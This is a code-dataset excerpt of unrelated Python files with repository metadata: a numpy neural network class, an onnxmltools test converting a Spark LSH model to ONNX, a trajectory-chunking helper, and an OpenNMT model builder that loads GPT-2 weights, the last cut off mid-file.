import numpy as np class ANN: def __init__(self, layer_size_list): self.input_size = layer_size_list[0] self.hidden_output_layer = [] self.cost_result = [] self.accuracy_result = [] for layer_index in range(1, len(layer_size_list)): self.hidden_output_layer.append( NNlayer( layer_size_list[layer_index - 1], layer_size_list[layer_index], self.sigmoid, self.de_sigmoid ) ) def propagate_result(self, network_input, save_result = False): previous_output = [network_input] for layer in self.hidden_output_layer: previous_output = layer.CalculateOutput(previous_output,save_data = save_result) return previous_output def mini_batch_training(self, training_data, batch_size, learning_rate = 0.3, total_epoch = 500): total_num_training_data = len(training_data) total_iterations = total_num_training_data // batch_size np.random.shuffle(training_data) for z in range(total_epoch): success_total = 0 cost_total = 0 temp_batch = 0 for i in range(total_iterations): index = batch_size * i success, cost = self.batch_SGD(training_data[index:index+batch_size],learning_rate) temp_batch = len(training_data[index:index+batch_size]) success_total += success cost_total += cost self.cost_result.append( cost_total/(temp_batch*total_iterations) ) self.accuracy_result.append( success_total/(temp_batch*total_iterations) ) print("epoch:", z+1, "out of", total_epoch,"| Accuracy:", success_total/(temp_batch*total_iterations)) def batch_SGD(self,training_data,learning_rate): batch_size = len(training_data) correct = 0.0 costTot = 0.0 for data in training_data: network_result = self.propagate_result(data[0],save_result = True) if np.argmax(network_result) == np.argmax(data[1]): correct += 1.0 d_cost = network_result - [data[1]] costTot+=0.5 * np.sum( (d_cost)**2 ) self.backpropagate_result(d_cost) self.update_layers(batch_size, learning_rate) return correct, costTot def update_layers(self, batch_size, learning_rate): for layer in self.hidden_output_layer: layer.update_constants(learning_rate, batch_size) def backpropagate_result(self, d_cost): final_derivative = d_cost for layer in reversed(self.hidden_output_layer): final_derivative = layer.backpropagate_layer(final_derivative) def sigmoid(self, x): return 1/(1+np.exp(-x)) def de_sigmoid(self, x): return self.sigmoid(x) * ( 1 - self.sigmoid(x) ) class NNlayer: def __init__(self, previous_nodes, current_nodes, activating_function, derivative_function): self.weightArr = np.random.random((previous_nodes,current_nodes))*2-1 self.biasArr = np.random.random((1,current_nodes))*2-1 self.activating_function = activating_function self.derivative_function = derivative_function self.bias_G_sum = np.copy(self.biasArr) * 0 self.weight_G_sum = np.copy(self.weightArr) * 0 def CalculateOutput(self, previous_layer_output, save_data = False): pre_activating = np.dot(previous_layer_output, self.weightArr) + self.biasArr if save_data: self.derivative_activation = self.derivative_function( pre_activating ) self.previous_layer_output = np.array(previous_layer_output) return self.activating_function( pre_activating ) def backpropagate_layer(self, next_layer): bias_G = next_layer * self.derivative_activation weight_G = np.dot( self.previous_layer_output.T, bias_G ) weight_G = self.previous_layer_output.T.dot( bias_G ) self.bias_G_sum += bias_G self.weight_G_sum += weight_G return np.dot( bias_G, self.weightArr.T ) def update_constants(self, learning_rate, batch_size): self.weightArr -= learning_rate * self.weight_G_sum / batch_size self.biasArr -= learning_rate * self.bias_G_sum / batch_size gradient_magnitude = np.linalg.norm(self.bias_G_sum / batch_size) + np.linalg.norm(self.weight_G_sum / batch_size) self.bias_G_sum *= 0 self.weight_G_sum *= 0 return gradient_magnitude

true

1c4240c3a65bca5c805f1ae7a103998ad6bb6f55

2,212

py

Python

tests/sparkml/test_bucketed_random_projection_lsh.py

xhochy/onnxmltools

cb2782b155ff67dc1e586f36a27c5d032070c801

[ "Apache-2.0" ]

null

tests/sparkml/test_bucketed_random_projection_lsh.py

xhochy/onnxmltools

cb2782b155ff67dc1e586f36a27c5d032070c801

[ "Apache-2.0" ]

null

tests/sparkml/test_bucketed_random_projection_lsh.py

xhochy/onnxmltools

cb2782b155ff67dc1e586f36a27c5d032070c801

[ "Apache-2.0" ]

null

# SPDX-License-Identifier: Apache-2.0 import sys import unittest import pandas import numpy from pyspark.ml.feature import BucketedRandomProjectionLSH from pyspark.ml.linalg import Vectors from onnxmltools import convert_sparkml from onnxmltools.convert.common.data_types import FloatTensorType from tests.sparkml.sparkml_test_utils import save_data_models, run_onnx_model, compare_results from tests.sparkml import SparkMlTestCase class TestBucketedRandomProjectionLSH(SparkMlTestCase): @unittest.skipIf(sys.platform == 'win32', reason="UnsatisfiedLinkError") @unittest.skipIf(sys.version_info < (3, 8), reason="pickle fails on python 3.7") def test_bucketed_random_projection_lsh(self): data = self.spark.createDataFrame([ (0, Vectors.dense([-1.0, -1.0 ]),), (1, Vectors.dense([-1.0, 1.0 ]),), (2, Vectors.dense([1.0, -1.0 ]),), (3, Vectors.dense([1.0, 1.0]),) ], ["id", "features"]) mh = BucketedRandomProjectionLSH(inputCol="features", outputCol="hashes", seed=12345, bucketLength=1.0) model = mh.fit(data) feature_count = data.first()[1].size model_onnx = convert_sparkml(model, 'Sparkml BucketedRandomProjectionLSH', [ ('features', FloatTensorType([None, feature_count])) ], spark_session=self.spark) self.assertTrue(model_onnx is not None) # run the model predicted = model.transform(data) data_np = data.toPandas().features.apply( lambda x: pandas.Series(x.toArray())).values.astype(numpy.float32) expected = [ predicted.toPandas().hashes.apply(lambda x: pandas.Series(x) .map(lambda y: y.values[0])).values.astype(numpy.float32), ] paths = save_data_models(data_np, expected, model, model_onnx, basename="SparkmlBucketedRandomProjectionLSH") onnx_model_path = paths[-1] output, output_shapes = run_onnx_model(['hashes'], data_np, onnx_model_path) compare_results(expected, output, decimal=5) if __name__ == "__main__": unittest.main()

40.962963

111

0.648282

import sys import unittest import pandas import numpy from pyspark.ml.feature import BucketedRandomProjectionLSH from pyspark.ml.linalg import Vectors from onnxmltools import convert_sparkml from onnxmltools.convert.common.data_types import FloatTensorType from tests.sparkml.sparkml_test_utils import save_data_models, run_onnx_model, compare_results from tests.sparkml import SparkMlTestCase class TestBucketedRandomProjectionLSH(SparkMlTestCase): @unittest.skipIf(sys.platform == 'win32', reason="UnsatisfiedLinkError") @unittest.skipIf(sys.version_info < (3, 8), reason="pickle fails on python 3.7") def test_bucketed_random_projection_lsh(self): data = self.spark.createDataFrame([ (0, Vectors.dense([-1.0, -1.0 ]),), (1, Vectors.dense([-1.0, 1.0 ]),), (2, Vectors.dense([1.0, -1.0 ]),), (3, Vectors.dense([1.0, 1.0]),) ], ["id", "features"]) mh = BucketedRandomProjectionLSH(inputCol="features", outputCol="hashes", seed=12345, bucketLength=1.0) model = mh.fit(data) feature_count = data.first()[1].size model_onnx = convert_sparkml(model, 'Sparkml BucketedRandomProjectionLSH', [ ('features', FloatTensorType([None, feature_count])) ], spark_session=self.spark) self.assertTrue(model_onnx is not None) predicted = model.transform(data) data_np = data.toPandas().features.apply( lambda x: pandas.Series(x.toArray())).values.astype(numpy.float32) expected = [ predicted.toPandas().hashes.apply(lambda x: pandas.Series(x) .map(lambda y: y.values[0])).values.astype(numpy.float32), ] paths = save_data_models(data_np, expected, model, model_onnx, basename="SparkmlBucketedRandomProjectionLSH") onnx_model_path = paths[-1] output, output_shapes = run_onnx_model(['hashes'], data_np, onnx_model_path) compare_results(expected, output, decimal=5) if __name__ == "__main__": unittest.main()

true

1c4245ef50b820bbed08ca2fb090aa1c3a77795b

3,699

py

Python

python/lib/lib_care/utils/chunk_traj.py

timtyree/bgmc

891e003a9594be9e40c53822879421c2b8c44eed

[ "MIT" ]

null

python/lib/lib_care/utils/chunk_traj.py

timtyree/bgmc

891e003a9594be9e40c53822879421c2b8c44eed

[ "MIT" ]

null

python/lib/lib_care/utils/chunk_traj.py

timtyree/bgmc

891e003a9594be9e40c53822879421c2b8c44eed

[ "MIT" ]

null

#compute_traj.py from ..my_initialization import * from . import * def chunk_traj(df,pid_lst,width,height, DS, DT, jump_thresh=10., distance_L2_pbc=None, LT_thresh=1, **kwargs): # d_lst = [] chunk_index=1 if distance_L2_pbc is None: distance_L2_pbc = get_distance_L2_pbc(width=width,height=height) for pid in pid_lst: d_raw = df[df.particle==pid].copy() #drop any rows before t=100ms #drop any rows that already have a value in particle2 d_raw.reset_index(inplace=True)#,drop=True) x_values, y_values, c_values = d_raw[['x','y', 't']].values.T jump_index_array, spd_lst = find_jumps_non_pbc(x_values,y_values,distance_L2_pbc=distance_L2_pbc,width=width,height=height, DS=DS,DT=DT, jump_thresh=None)#.25) # jump_index_array_pbc, spd_lst = find_jumps(x_values,y_values,distance_L2_pbc=distance_L2_pbc,width=width,height=height, DS=DS,DT=DT, jump_thresh=None)#.25) # jump_index_array, spd_lst = find_jumps(x_values,y_values,distance_L2_pbc=distance_L2_pbc,width=width,height=height, DS=DS,DT=DT, jump_thresh=jump_thresh)#.25) # jump_index_array=sorted(set(jump_index_array).difference(set(jump_index_array_pbc))) jarry=np.hstack([jump_index_array,-9999]) Nj = jarry.shape[0] for j,ji in enumerate(jarry): if ji==-9999: if len(jump_index_array)==0: #no jumps exist d = d_raw else: #this is the final jump to the end ji_prv=jarry[j-1] d = d_raw.iloc[ji_prv:]#.copy() elif j==0: #this is the beginning up until the first jump d = d_raw.iloc[:ji]#.copy() else:#elif j<Nj: #this is an intermediate jump ji_prv=jarry[j-1] d = d_raw.iloc[ji_prv:ji]#.copy() # else: # d = d_raw.iloc[ji:]#.copy() # for ji in jump_index_array: #record datum only for long trajectory segments? yes. if d.t.count()>LT_thresh: #reset the index back to that of df # d = d.reindex(d['index'],copy=False).copy() df.loc[d['index'].values,'cid']=chunk_index chunk_index +=1 # d_lst.append(d) return df # def chunk_traj(df,pid_lst,width=200,height=200,jump_thresh=10., distance_L2_pbc=None, LT_thresh=1): # d_lst = [] # if distance_L2_pbc is None: # distance_L2_pbc = get_distance_L2_pbc(width=200,height=200) # for pid in pid_lst: # d_raw = df[df.particle==pid].copy() # #drop any rows before t=100ms # #drop any rows that already have a value in particle2 # d_raw.reset_index(inplace=True)#,drop=True) # x_values ,y_values, c_values = d_raw[['x','y', 't']].values.T # # jump_index_array, spd_lst = find_jumps(x_values,y_values,distance_L2_pbc,width=width,height=height, DS=DS,DT=DT, jump_thresh=jump_thresh)#.25) # jarry=np.hstack([0,jump_index_array]) # Nj = jarry.shape[0] # for j,ji in enumerate(jarry): # if j<Nj-1: # ji_next=jarry[j+1] # d = d_raw.iloc[ji:ji_next].copy() # else: # d = d_raw.iloc[ji:].copy() # # for ji in jump_index_array: # #record datum only for long trajectory segments? yes. # if d.t.count()>LT_thresh: # #reset the index back to that of df # d = d.reindex(d['index'],copy=False).copy() # d_lst.append(d) # return d_lst

48.038961

168

0.583671

from ..my_initialization import * from . import * def chunk_traj(df,pid_lst,width,height, DS, DT, jump_thresh=10., distance_L2_pbc=None, LT_thresh=1, **kwargs): chunk_index=1 if distance_L2_pbc is None: distance_L2_pbc = get_distance_L2_pbc(width=width,height=height) for pid in pid_lst: d_raw = df[df.particle==pid].copy() d_raw.reset_index(inplace=True) x_values, y_values, c_values = d_raw[['x','y', 't']].values.T jump_index_array, spd_lst = find_jumps_non_pbc(x_values,y_values,distance_L2_pbc=distance_L2_pbc,width=width,height=height, DS=DS,DT=DT, jump_thresh=None) jarry=np.hstack([jump_index_array,-9999]) Nj = jarry.shape[0] for j,ji in enumerate(jarry): if ji==-9999: if len(jump_index_array)==0: d = d_raw else: ji_prv=jarry[j-1] d = d_raw.iloc[ji_prv:] elif j==0: d = d_raw.iloc[:ji] else: ji_prv=jarry[j-1] d = d_raw.iloc[ji_prv:ji] if d.t.count()>LT_thresh: df.loc[d['index'].values,'cid']=chunk_index chunk_index +=1 return df

true

1c42466f12034657d3309d69a4856592d9ec39cb

27,467

py

Python

onmt/model_builder.py

mataney/encoder-agnostic-adaptation

59d7c2d4fe69f794c7449f0459f00350fcfbbf70

[ "MIT" ]

2

2020-01-18T02:07:25.000Z

2020-04-16T23:19:03.000Z

onmt/model_builder.py

mataney/encoder-agnostic-adaptation

59d7c2d4fe69f794c7449f0459f00350fcfbbf70

[ "MIT" ]

null

onmt/model_builder.py

mataney/encoder-agnostic-adaptation

59d7c2d4fe69f794c7449f0459f00350fcfbbf70

[ "MIT" ]

1

2020-01-22T04:01:42.000Z

""" This file is for models creation, which consults options and creates each encoder and decoder accordingly. """ import re import math import copy import torch import torch.nn as nn from torch.nn.init import xavier_uniform_ import onmt.inputters as inputters import onmt.modules from onmt.encoders import str2enc from onmt.decoders import str2dec from onmt.modules import Embeddings, CopyGenerator, SimpleFusionGenerator from onmt.modules.util_class import Cast from onmt.utils.misc import use_gpu from onmt.utils.logging import logger from onmt.utils.parse import ArgumentParser def build_embeddings(opt, text_field, for_encoder=True): """ Args: opt: the option in current environment. text_field(TextMultiField): word and feats field. for_encoder(bool): build Embeddings for encoder or decoder? """ emb_dim = opt.src_word_vec_size if for_encoder else opt.tgt_word_vec_size pad_indices = [f.vocab.stoi[f.pad_token] for _, f in text_field] word_padding_idx, feat_pad_indices = pad_indices[0], pad_indices[1:] num_embs = [len(f.vocab) for _, f in text_field] num_word_embeddings, num_feat_embeddings = num_embs[0], num_embs[1:] fix_word_vecs = opt.fix_word_vecs_enc if for_encoder \ else opt.fix_word_vecs_dec pos_enc_learned = opt.position_encoding_learned_enc if for_encoder else opt.position_encoding_learned_dec GPT_representation_mode = opt.GPT_representation_mode if opt.GPT_representation_loc == 'both' or (opt.GPT_representation_loc == 'src' and for_encoder) or (opt.GPT_representation_loc == 'tgt' and not for_encoder) else 'none' emb = Embeddings( word_vec_size=emb_dim, position_encoding=opt.position_encoding, position_encoding_learned=pos_enc_learned, position_encoding_ctxsize=opt.position_encoding_ctxsize, feat_merge=opt.feat_merge, feat_vec_exponent=opt.feat_vec_exponent, feat_vec_size=opt.feat_vec_size, dropout=opt.dropout, word_padding_idx=word_padding_idx, feat_padding_idx=feat_pad_indices, word_vocab_size=num_word_embeddings, feat_vocab_sizes=num_feat_embeddings, sparse=opt.optim == "sparseadam", fix_word_vecs=fix_word_vecs, GPT_representation_mode=GPT_representation_mode, GPT_representation_tgt=not for_encoder ) return emb def build_encoder(opt, embeddings): """ Various encoder dispatcher function. Args: opt: the option in current environment. embeddings (Embeddings): vocab embeddings for this encoder. """ enc_type = opt.encoder_type if opt.model_type == "text" else opt.model_type return str2enc[enc_type].from_opt(opt, embeddings) def build_decoder(opt, embeddings): """ Various decoder dispatcher function. Args: opt: the option in current environment. embeddings (Embeddings): vocab embeddings for this decoder. """ dec_type = "ifrnn" if opt.decoder_type == "rnn" and opt.input_feed \ else opt.decoder_type return str2dec[dec_type].from_opt(opt, embeddings) def load_test_model(opt, model_path=None): if model_path is None: model_path = opt.models[0] checkpoint = torch.load(model_path, map_location=lambda storage, loc: storage) model_opt = ArgumentParser.ckpt_model_opts(checkpoint['opt']) ArgumentParser.update_model_opts(model_opt) ArgumentParser.validate_model_opts(model_opt) vocab = checkpoint['vocab'] if inputters.old_style_vocab(vocab): fields = inputters.load_old_vocab( vocab, opt.data_type, dynamic_dict=model_opt.copy_attn ) else: fields = vocab model = build_base_model(model_opt, fields, use_gpu(opt), checkpoint, opt.gpu) if opt.fp32: model.float() model.eval() model.generator.eval() return fields, model, model_opt class PadGen(nn.Module): def __init__(self): super(PadGen, self).__init__() def forward(self, vals): # Need to make this more general vals[..., 50257:] = -1e10 return vals def build_base_model(model_opt, fields, gpu, checkpoint=None, gpu_id=None): """Build a model from opts. Args: model_opt: the option loaded from checkpoint. It's important that the opts have been updated and validated. See :class:`onmt.utils.parse.ArgumentParser`. fields (dict[str, torchtext.data.Field]): `Field` objects for the model. gpu (bool): whether to use gpu. checkpoint: the model gnerated by train phase, or a resumed snapshot model from a stopped training. gpu_id (int or NoneType): Which GPU to use. Returns: the NMTModel. """ # Build embeddings. if model_opt.model_type == "text": src_field = fields["src"] src_emb = build_embeddings(model_opt, src_field) else: src_emb = None # Build encoder. encoder = build_encoder(model_opt, src_emb) # Build decoder. tgt_field = fields["tgt"] tgt_emb = build_embeddings(model_opt, tgt_field, for_encoder=False) # Share the embedding matrix - preprocess with share_vocab required. if model_opt.share_embeddings: # src/tgt vocab should be the same if `-share_vocab` is specified. assert src_field.base_field.vocab == tgt_field.base_field.vocab, \ "preprocess with -share_vocab if you use share_embeddings" tgt_emb.word_lut.weight = src_emb.word_lut.weight if model_opt.share_position_embeddings: tgt_emb.make_embedding.pe.pe.weight = src_emb.make_embedding.pe.pe.weight decoder = build_decoder(model_opt, tgt_emb) # Build NMTModel(= encoder + decoder). if gpu and gpu_id is not None: device = torch.device("cuda", gpu_id) elif gpu and not gpu_id: device = torch.device("cuda") elif not gpu: device = torch.device("cpu") # Build separate LM if doing simple fusion if model_opt.simple_fusion: layers = 12 size = 768 heads = 12 lm_decoder_opt = copy.deepcopy(model_opt) lm_decoder_opt.dec_layers = layers lm_decoder_opt.use_GPT_version_ctxattn = False lm_decoder_opt.use_GPT_version_psa = False lm_decoder_opt.use_GPT_version_unconditional = True lm_decoder_opt.tgt_word_vec_size = size lm_decoder_opt.rnn_size = size lm_decoder_opt.dec_rnn_size = size lm_decoder_opt.transformer_ff = size*4 lm_decoder_opt.dec_heads = heads lm_decoder_opt.position_encoding_learned_dec = True lm_decoder_opt.share_decoder_embeddings = True lm_decoder_opt.dropout = 0 lm_decoder_emb = build_embeddings(lm_decoder_opt, tgt_field, for_encoder=False) logger.info(lm_decoder_emb) lm_decoder = build_decoder(lm_decoder_opt, lm_decoder_emb) load_decoder = lm_decoder model = onmt.models.SimpleFusionModel(encoder, decoder, lm_decoder) generator = SimpleFusionGenerator(model_opt.dec_rnn_size, lm_decoder_opt.dec_rnn_size, len(fields["tgt"].base_field.vocab)) generator.lm_linear.weight = lm_decoder.embeddings.word_lut.weight if model_opt.share_decoder_embeddings: generator.decoder_linear.weight = decoder.embeddings.word_lut.weight gen_linear = generator.lm_linear else: load_decoder = decoder if model_opt.unconditional: model = onmt.models.UncondModel(decoder) elif model_opt.num_src > 1: from argparse import Namespace agenda_field = fields["agenda"] agenda_opt = Namespace(**model_opt.__dict__) for k in agenda_opt.__dict__.keys(): if hasattr(model_opt, f"agenda_{k}"): setattr(agenda_opt, k, getattr(model_opt, f"agenda_{k}")) agenda_emb = build_embeddings(agenda_opt, agenda_field) agenda_encoder = build_encoder(model_opt, agenda_emb) encoders = nn.ModuleList([encoder, agenda_encoder]) model = onmt.neural_checklist.MultiSrcNMTModel(encoders, decoder) else: model = onmt.models.NMTModel(encoder, decoder) # Build Generator. if not model_opt.copy_attn: if model_opt.generator_function == "sparsemax": gen_func = onmt.modules.sparse_activations.LogSparsemax(dim=-1) else: gen_func = nn.LogSoftmax(dim=-1) if model_opt.padded_vocab_fix_me_later: gen_func = nn.Sequential(PadGen(), gen_func) generator = nn.Sequential( nn.Linear(model_opt.dec_rnn_size, len(fields["tgt"].base_field.vocab)), Cast(torch.float32), gen_func ) if model_opt.share_decoder_embeddings: generator[0].weight = decoder.embeddings.word_lut.weight gen_linear = generator[0] else: tgt_base_field = fields["tgt"].base_field vocab_size = len(tgt_base_field.vocab) pad_idx = tgt_base_field.vocab.stoi[tgt_base_field.pad_token] generator = CopyGenerator(model_opt.dec_rnn_size, vocab_size, pad_idx) if model_opt.share_decoder_embeddings: generator.linear.weight = decoder.embeddings.word_lut.weight gen_linear = generator.linear if model_opt.encdec_share_params: for name, p in decoder.named_parameters(): if 'ctx' in name or 'context' in name: continue pointer = encoder attrs = name.split('.') for attr_name in attrs[:-1]: pointer = getattr(pointer, attr_name) # pointer now has the encoder version of the parameter parent setattr(pointer, attrs[-1], p) # Load the model states from checkpoint or initialize them. if checkpoint is not None: # Normally, just load the model parameters from checkpoint if 'gpt2_params' not in checkpoint and 'enc_model' not in checkpoint: # This preserves backward-compat for models using customed layernorm def fix_key(s): s = re.sub(r'(.*)\.layer_norm((_\d+)?)\.b_2', r'\1.layer_norm\2.bias', s) s = re.sub(r'(.*)\.layer_norm((_\d+)?)\.a_2', r'\1.layer_norm\2.weight', s) return s checkpoint['model'] = {fix_key(k): v for k, v in checkpoint['model'].items()} # end of patch for backward compatibility # Initialize rest of parameters normally if hasattr(model_opt, 'load_uncond_from') and model_opt.load_uncond_from: for p in decoder.parameters(): if p.dim() > 1: xavier_uniform_(p) # Always initialize encoder parameters normally for p in encoder.parameters(): if p.dim() > 1: xavier_uniform_(p) if model_opt.ctx_weight_param: for name, p in decoder.named_parameters(): if 'ctx_weight' in name: p.data.zero_() if 'ctx_bias' in name: p.data.fill_(-10) model.load_state_dict(checkpoint['model'], strict=False) generator.load_state_dict(checkpoint['generator'], strict=False) else: # load the gpt parameters if 'gpt2_params' in checkpoint: init_something = model_opt.gpt2_init_embanddec or model_opt.simple_fusion or model_opt.gpt2_init_embandenc or model_opt.GPT_representation_mode != 'none' if init_something: # Initialize all the weights first if model_opt.gpt2_init_zero: for p in decoder.parameters(): p.data.zero_() if model_opt.simple_fusion: generator.decoder_linear.weight.data.zero_() generator.decoder_linear.bias.data.zero_() else: for p in decoder.parameters(): if p.dim() > 1: xavier_uniform_(p) # Always initialize encoder parameters normally if encoder is not None: for p in encoder.parameters(): if p.dim() > 1: xavier_uniform_(p) for p in generator.parameters(): if p.dim() > 1: xavier_uniform_(p) if model_opt.zero_bias_init: gen_linear.bias.data.zero_() if model_opt.ctx_weight_param: for name, p in decoder.named_parameters(): if 'ctx_weight' in name: p.data.zero_() if 'ctx_bias' in name: p.data.fill_(-10) gen_linear.bias.data.zero_() load_models = [] if model_opt.GPT_representation_mode != 'none': load_embs = [] if model_opt.GPT_representation_loc in ['both', 'src']: load_models.append(src_emb.gpt_model) load_embs.append(src_emb) if model_opt.GPT_representation_loc in ['both', 'tgt']: load_models.append(tgt_emb.gpt_model) load_embs.append(tgt_emb) else: if model_opt.gpt2_init_embanddec or model_opt.simple_fusion: load_models = [load_decoder] elif model_opt.gpt2_init_embandenc: load_models = [encoder] it_list = list(checkpoint['gpt2_params']) for lm_idx, load_model in enumerate(load_models): #print(lm_idx, load_model) for name, array in it_list: name = name[6:] # skip "model/" name = name.split('/') assigned = False if name[0] == 'wpe': if model_opt.GPT_representation_mode != 'none': pointer = load_embs[lm_idx].make_embedding.pe.pe.weight else: pointer = load_model.embeddings.make_embedding.pe.pe.weight elif name[0] == 'wte': if model_opt.GPT_representation_mode != 'none': pointer = [load_embs[lm_idx].make_embedding.emb_luts[0].weight, gen_linear.weight] else: pointer = [load_model.embeddings.make_embedding.emb_luts[0].weight] if not model_opt.nopretrain_decemb: pointer.append(gen_linear.weight) if model_opt.simple_fusion and model_opt.sf_pretrain_dec_emb: pointer.append(decoder.embeddings.make_embedding.emb_luts[0].weight) elif name[0] == 'ln_f': if name[1] == 'g': pointer = load_model.layer_norm.weight elif name[1] == 'b': pointer = load_model.layer_norm.bias else: raise ValueError('I am missing something here!') elif name[0][0] == 'h': layer_num = name[0][1:] pointer = getattr(load_model.transformer_layers, layer_num) if name[1] == 'attn': assigned = True pointer = pointer.self_attn full_data = torch.from_numpy(array) if name[2] == 'c_attn': end_size = full_data.shape[-1]//3 assert full_data.shape[-1] % 3 == 0 if name[3] == 'b': if init_something: pointer.linear_query.bias.data = full_data[:end_size] pointer.linear_keys.bias.data = full_data[end_size:end_size*2] pointer.linear_values.bias.data = full_data[end_size*2:] if model_opt.gpt2_params_std > 0: pointer.linear_query.bias.orig = full_data[:end_size].clone() pointer.linear_keys.bias.orig = full_data[end_size:end_size*2].clone() pointer.linear_values.bias.orig = full_data[end_size*2:].clone() elif name[3] == 'w': if init_something: pointer.linear_query.weight.data = full_data[:, :end_size].t().contiguous() pointer.linear_keys.weight.data = full_data[:, end_size:end_size*2].t().contiguous() pointer.linear_values.weight.data = full_data[:, end_size*2:].t().contiguous() if model_opt.gpt2_params_std > 0: pointer.linear_query.weight.orig = full_data[:, :end_size].t().contiguous().clone() pointer.linear_keys.weight.orig = full_data[:, end_size:end_size*2].t().contiguous().clone() pointer.linear_values.weight.orig = full_data[:, end_size*2:].t().contiguous().clone() else: raise ValueError('I am missing something here!') elif name[2] == 'c_proj': if name[3] == 'b': if init_something: pointer.final_linear.bias.data = full_data if model_opt.gpt2_params_std > 0: pointer.final_linear.bias.orig = full_data.clone() elif name[3] == 'w': if init_something: pointer.final_linear.weight.data = full_data.t().contiguous() if model_opt.gpt2_params_std > 0: pointer.final_linear.weight.orig = full_data.t().contiguous().clone() else: raise ValueError('I am missing something here!') elif name[1] == 'ln_1' or name[1] == 'ln_2': num = name[1][3] pointer = getattr(pointer, 'layer_norm_'+num) if name[2] == 'b': pointer = pointer.bias elif name[2] == 'g': pointer = pointer.weight else: raise ValueError('I am missing something here!') elif name[1] == 'mlp': pointer = pointer.feed_forward pointer = getattr(pointer, name[2]) if name[3] == 'b': pointer = pointer.bias elif name[3] == 'w': pointer = pointer.weight else: raise ValueError('I am missing something here!') else: raise ValueError('I am missing something here!') else: raise ValueError('I am missing something here!') if not assigned: if name[-1] == 'w' or name[-1] == 'g': array = array.T if not isinstance(pointer, list): pointer = [pointer] for pointer_i in pointer: target_size = int(math.ceil(array.shape[0]/8))*8 padded_vocab = name[0] == 'wte' and pointer_i.shape[0] == target_size padded_vocab = padded_vocab and pointer_i.shape[1:] == array.shape[1:] try: assert pointer_i.shape == array.shape or padded_vocab except AssertionError as e: e.args += (pointer_i.shape, array.shape) raise if init_something: print("Initialize PyTorch weight {}".format(name)) if padded_vocab: pointer_i.data[:array.shape[0]] = torch.from_numpy(array) else: pointer_i.data = torch.from_numpy(array) if model_opt.gpt2_params_std > 0: if padded_vocab: raise NotImplementedError else: pointer_i.orig = torch.from_numpy(array).clone() if 'enc_model' in checkpoint: load_dict = {k[8:]: v for k, v in checkpoint['enc_model'] if 'encoder' in k} encoder.load_state_dict(load_dict, strict=True) else: if model_opt.param_init != 0.0: for p in model.parameters(): p.data.uniform_(-model_opt.param_init, model_opt.param_init) for p in generator.parameters(): p.data.uniform_(-model_opt.param_init, model_opt.param_init) if model_opt.param_init_glorot: for p in model.parameters(): if p.dim() > 1: xavier_uniform_(p) for p in generator.parameters(): if p.dim() > 1: xavier_uniform_(p) if not model_opt.unconditional and hasattr(model.encoder, 'embeddings') \ and model.encoder.embeddings is not None: model.encoder.embeddings.load_pretrained_vectors( model_opt.pre_word_vecs_enc) if hasattr(model.decoder, 'embeddings'): model.decoder.embeddings.load_pretrained_vectors( model_opt.pre_word_vecs_dec) # remove requires_grad from params that are not trained: if model_opt.notrain_emb or model_opt.notrain_embanddec: if model_opt.position_encoding_learned_enc and model_opt.share_position_embeddings: model.encoder.embeddings.make_embedding.pe.pe.weight.requires_grad = False if model_opt.share_embeddings: model.encoder.embeddings.make_embedding.emb_luts[0].weight.requires_grad = False model.decoder.embeddings.make_embedding.pe.pe.weight.requires_grad = False model.decoder.embeddings.make_embedding.emb_luts[0].weight.requires_grad = False generator[0].weight.requires_grad = False if model_opt.notrain_genbias: generator[0].bias.requires_grad = False if model_opt.notrain_embanddec: for name, p in load_decoder.layer_norm.named_parameters(): p.requires_grad = False for name, p in load_decoder.transformer_layers.named_parameters(): if 'context' not in name and 'ctx' not in name: # Takes care of normal and psa versions p.requires_grad = False if model_opt.onlytrainln: for name, p in model.decoder.named_parameters(): if 'layer_norm' not in name: p.requires_grad = False for p in generator.parameters(): p.requires_grad = False if model_opt.onlytrainoutp: if model_opt.share_decoder_embeddings: raise ValueError for p in model.decoder.parameters(): p.requires_grad = False if model_opt.simple_fusion: for p in lm_decoder.parameters(): p.requires_grad = False for p in generator.lm_linear.parameters(): p.requires_grad = False model.generator = generator model.to(device) if model_opt.model_dtype == 'fp16': model.half() for p in model.parameters(): if hasattr(p, 'orig'): p.orig = p.orig.to(device) if model_opt.model_dtype == 'fp16': p.orig = p.orig.half() return model def linear_repr_patch(self): return 'in_features={}, out_features={}, bias={}, wgrad={}, bgrad={}'.format( self.in_features, self.out_features, self.bias is not None, self.weight.requires_grad, self.bias.requires_grad if self.bias is not None else 'N/A' ) def ln_repr_patch(self): string = '{normalized_shape}, eps={eps}, ' \ 'elementwise_affine={elementwise_affine}'.format(**self.__dict__) string += ', wgrad={}, bgrad={}'.format(self.weight.requires_grad if self.weight is not None else 'N/A', self.bias.requires_grad if self.bias is not None else 'N/A') return string def emb_repr_patch(self): s = '{num_embeddings}, {embedding_dim}' if self.padding_idx is not None: s += ', padding_idx={padding_idx}' if self.max_norm is not None: s += ', max_norm={max_norm}' if self.norm_type != 2: s += ', norm_type={norm_type}' if self.scale_grad_by_freq is not False: s += ', scale_grad_by_freq={scale_grad_by_freq}' if self.sparse is not False: s += ', sparse=True' s = s.format(**self.__dict__) s += ', grad={}'.format(self.weight.requires_grad) return s def build_model(model_opt, opt, fields, checkpoint): logger.info('Building model...') model = build_base_model(model_opt, fields, use_gpu(opt), checkpoint) # Show which params will be updated nn.Linear.extra_repr = linear_repr_patch nn.LayerNorm.extra_repr = ln_repr_patch nn.Embedding.extra_repr = emb_repr_patch logger.info(model) return model

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import re import math import copy import torch import torch.nn as nn from torch.nn.init import xavier_uniform_ import onmt.inputters as inputters import onmt.modules from onmt.encoders import str2enc from onmt.decoders import str2dec from onmt.modules import Embeddings, CopyGenerator, SimpleFusionGenerator from onmt.modules.util_class import Cast from onmt.utils.misc import use_gpu from onmt.utils.logging import logger from onmt.utils.parse import ArgumentParser def build_embeddings(opt, text_field, for_encoder=True): emb_dim = opt.src_word_vec_size if for_encoder else opt.tgt_word_vec_size pad_indices = [f.vocab.stoi[f.pad_token] for _, f in text_field] word_padding_idx, feat_pad_indices = pad_indices[0], pad_indices[1:] num_embs = [len(f.vocab) for _, f in text_field] num_word_embeddings, num_feat_embeddings = num_embs[0], num_embs[1:] fix_word_vecs = opt.fix_word_vecs_enc if for_encoder \ else opt.fix_word_vecs_dec pos_enc_learned = opt.position_encoding_learned_enc if for_encoder else opt.position_encoding_learned_dec GPT_representation_mode = opt.GPT_representation_mode if opt.GPT_representation_loc == 'both' or (opt.GPT_representation_loc == 'src' and for_encoder) or (opt.GPT_representation_loc == 'tgt' and not for_encoder) else 'none' emb = Embeddings( word_vec_size=emb_dim, position_encoding=opt.position_encoding, 